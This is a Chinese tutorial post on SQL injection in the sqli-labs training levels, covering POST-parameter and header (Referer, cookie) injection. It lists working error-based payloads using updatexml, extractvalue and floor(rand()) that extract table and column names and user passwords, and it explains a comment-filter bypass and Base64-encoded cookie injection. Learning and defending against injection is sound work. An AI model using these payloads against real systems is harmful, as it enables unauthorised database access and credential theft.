WEB安全--SQL注入--POST传参注入、SQL头部注入

一、介绍:

post传参和get传参对注入方式没有本质上的影响,只不过前者是通过页面上的表单提交数据后者是通过url传参。

而头部注入是因为后端并没有直接将参数插入查询语句,而是通过插入或取出cookie、referer等参数进行数据查询或更改的;所以通常使用抓包工具在抓到的数据包上更改相应的参数进行注入。

二、示例:

2.1、POST示例:

sql 复制代码
#less-17
username和password是两个传入点,但是username这个参数用户传入后会被后端waf处理,
所以无法在这个点写payload;我们可以在password上下功夫,如果要注入的话,
首先得保证username传入的值是正确的,
然后再在password字段上用联合注入或者报错注入等payload即可。


//$update="UPDATE users SET password = 'aaa' and selec#' WHERE username='$row1'";

//11' and (select 1 from(select count(*),concat(database(),floor(rand(0)*2))as x from information_schema.tables group by x)as y)#

//123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#

//1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#

//1' and (extractvalue(1,concat(0x5c,(select group_concat(id,username,password) from users),0x5c)))#

//1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))#

//1' and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)#



#less-23
此关的waf过滤了注释符,我们要在payload末尾用  '1'='1  来代替--+,
通过报错注入的方式,后面也就迎刃而解了


?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

2.2、改包示例:

sql 复制代码
#less-18 ~ less-22
通过使用burpsuite截取我们传递的包,然后修改相应字段的数据即可,也就是在里面写注入语句。

不过要注意的是:
less-19改写的字段是Referer='';
less-20改写的字段是cookie,因为username和password都设置了waf;
less-21改写的地方也是cookie,不过需要先把注入语句用Base64编码一遍,
因为后台接收的时候设置了Base64解码过滤;
相关推荐
施嘉伟30 分钟前
一次生产环境 SQL 不走索引的排查过程
数据库·sql
小红卒1 小时前
海康威视未授权访问漏洞 (CVE-2017-7921)复现研究
安全
Web项目开发2 小时前
Mysql创建索引的SQL脚本,复制粘贴即可使用
数据库·sql·mysql
Waloo2 小时前
SQL Server 2017 EXISTS 关键字 完整用法详解(最全 + 最优写法 + 性能对比)
sql·sql server
周末吃鱼3 小时前
mysql8.0支持CURRENT_DATE如何写
数据库·sql·mysql
Data-Miner3 小时前
精品可编辑PPT | 大模型与智能体安全风险治理与防护
安全
尽兴-4 小时前
SQL 执行失败如何回滚?事务已提交还能恢复吗?——MySQL 误操作数据恢复全指南
sql·mysql·binlog·undolog·redolog
Bug.ink4 小时前
BUUCTF——WEB(7)
web安全·网络安全·buuctf
咕噜企业分发小米4 小时前
直播云服务器安全防护有哪些最新的技术趋势?
运维·服务器·安全
二哈喇子!5 小时前
MySQL数据库操作命令【SQL语言】
数据库·sql·视图与索引